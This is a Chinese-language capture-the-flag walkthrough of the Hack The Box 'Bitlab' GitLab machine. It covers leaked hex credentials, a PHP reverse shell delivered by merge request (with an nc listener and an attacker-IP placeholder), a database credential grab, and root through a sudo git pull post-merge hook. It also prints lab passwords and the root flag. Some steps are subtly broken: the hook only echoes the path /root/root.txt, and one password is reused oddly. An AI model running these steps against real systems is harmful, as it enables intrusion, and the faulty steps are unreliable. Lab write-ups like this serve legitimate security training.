渗透测试 | HTB-Bitlab实战
字数 1309 2025-08-18 11:39:30

HTB-Bitlab渗透测试实战教学文档

1. 目标概述

  • 目标IP: 10.10.10.114
  • 开放端口: 22(SSH), 80(HTTP)
  • 目标系统: GitLab平台

2. 信息收集阶段

2.1 端口扫描

nmap 10.10.10.114 -p-

发现仅开放22和80端口。

2.2 Web服务枚举

  • 80端口为GitLab登录页面
  • 尝试SQL注入和密码重置功能无果
  • 发现"Help"链接指向/help目录

3. 初始访问获取

3.1 敏感信息泄露

  • /help/bookmarks.html中发现隐藏的16进制编码
  • 使用Python解码获取凭证:
print("\x68\x74\x74\x70...")  # 实际解码过程

获得用户名密码组合: clave: 11des0081x

3.2 GitLab登录

使用获取的凭证成功登录GitLab平台。

4. 漏洞利用

4.1 分析GitLab项目

发现两个项目:

  1. Profile项目
  2. Deployer项目

4.2 代码审计发现漏洞

在Deployer项目中发现PHP伪协议处理代码:

// 代码功能: 当Profile仓库的master分支有合并请求时,服务器会执行git pull同步到../profile/目录

4.3 文件上传漏洞利用

  1. 在Profile仓库创建新文件
  2. 上传PHP反向shell代码
  3. 提交合并请求

PHP反向shell代码要点:

<?php
$ip = '攻击者IP';
$port = 监听端口;
// ...完整反向shell代码...
?>

4.4 获取Web Shell

  1. 本地设置监听:
nc -lvnp 1234
  1. 访问触发URL: http://10.10.10.114/profile/上传的文件名.php
  2. 成功获取低权限Web Shell

5. 权限提升 - 获取User权限

5.1 内网发现

发现PostgreSQL服务运行在5432端口:

netstat -ntlp

5.2 数据库凭证获取

在GitLab的Snippets中发现数据库连接脚本:

$dbconn = pg_connect("host=localhost dbname=profiles user=profiles password=profiles")

5.3 数据库查询

编写完整查询脚本获取用户凭证:

// ...完整查询脚本...

获取到用户密码: 11des0081x (注意: 不要进行Base64解码)

5.4 SSH登录

使用凭证通过SSH登录:

ssh clave@10.10.10.114

成功获取user.txt

6. 权限提升 - 获取Root权限

方法1: 逆向分析

  1. 发现RemoteConnection.exe文件
  2. 下载到本地分析:
scp clave@10.10.10.114:/home/clave/RemoteConnection.exe ./
  1. 使用IDA调试发现root密码:
root:Qf7]8YSV.wDNF*[7d?j&eD4^

方法2: Git Hook利用

  1. 检查sudo权限:
sudo -l

发现可以执行git pull

  1. 利用Git Hook机制:
  • 创建post-merge钩子脚本:
#!/bin/sh
echo /root/root.txt > /tmp/root.txt
  1. 执行提权:
sudo git pull

成功获取root.txt内容

7. 关键知识点总结

  1. 信息收集技巧:

    • 不要忽略看似无关的链接和文件(如bookmarks.html)
    • 注意检查页面源代码中的隐藏信息
  2. GitLab安全:

    • 敏感信息可能存在于commit历史、snippets中
    • 自动化部署功能可能成为攻击入口
  3. Web应用安全:

    • 文件上传功能需严格验证
    • PHP伪协议处理需谨慎
  4. 权限提升技巧:

    • 数据库服务是常见的信息源
    • 应用程序的逆向分析可能泄露凭证
    • Git Hook机制可被用于权限提升
  5. 防御建议:

    • 定期审计代码中的硬编码凭证
    • 限制sudo权限
    • 监控异常git操作
    • 隔离部署环境与生产环境

8. Flag获取

  • User Flag: 通过SSH登录后位于/home/clave/user.txt
  • Root Flag: 8d4cc131757957cb68d9a0cddccd587c
HTB-Bitlab渗透测试实战教学文档 1. 目标概述 目标IP: 10.10.10.114 开放端口: 22(SSH), 80(HTTP) 目标系统: GitLab平台 2. 信息收集阶段 2.1 端口扫描 发现仅开放22和80端口。 2.2 Web服务枚举 80端口为GitLab登录页面 尝试SQL注入和密码重置功能无果 发现"Help"链接指向 /help 目录 3. 初始访问获取 3.1 敏感信息泄露 在 /help/bookmarks.html 中发现隐藏的16进制编码 使用Python解码获取凭证: 获得用户名密码组合: clave: 11des0081x 3.2 GitLab登录 使用获取的凭证成功登录GitLab平台。 4. 漏洞利用 4.1 分析GitLab项目 发现两个项目: Profile项目 Deployer项目 4.2 代码审计发现漏洞 在Deployer项目中发现PHP伪协议处理代码: 4.3 文件上传漏洞利用 在Profile仓库创建新文件 上传PHP反向shell代码 提交合并请求 PHP反向shell代码要点: 4.4 获取Web Shell 本地设置监听: 访问触发URL: http://10.10.10.114/profile/上传的文件名.php 成功获取低权限Web Shell 5. 权限提升 - 获取User权限 5.1 内网发现 发现PostgreSQL服务运行在5432端口: 5.2 数据库凭证获取 在GitLab的Snippets中发现数据库连接脚本: 5.3 数据库查询 编写完整查询脚本获取用户凭证: 获取到用户密码: 11des0081x (注意: 不要进行Base64解码) 5.4 SSH登录 使用凭证通过SSH登录: 成功获取user.txt 6. 权限提升 - 获取Root权限 方法1: 逆向分析 发现 RemoteConnection.exe 文件 下载到本地分析: 使用IDA调试发现root密码: 方法2: Git Hook利用 检查sudo权限: 发现可以执行 git pull 利用Git Hook机制: 创建post-merge钩子脚本: 执行提权: 成功获取root.txt内容 7. 关键知识点总结 信息收集技巧 : 不要忽略看似无关的链接和文件(如bookmarks.html) 注意检查页面源代码中的隐藏信息 GitLab安全 : 敏感信息可能存在于commit历史、snippets中 自动化部署功能可能成为攻击入口 Web应用安全 : 文件上传功能需严格验证 PHP伪协议处理需谨慎 权限提升技巧 : 数据库服务是常见的信息源 应用程序的逆向分析可能泄露凭证 Git Hook机制可被用于权限提升 防御建议 : 定期审计代码中的硬编码凭证 限制sudo权限 监控异常git操作 隔离部署环境与生产环境 8. Flag获取 User Flag: 通过SSH登录后位于 /home/clave/user.txt Root Flag: 8d4cc131757957cb68d9a0cddccd587c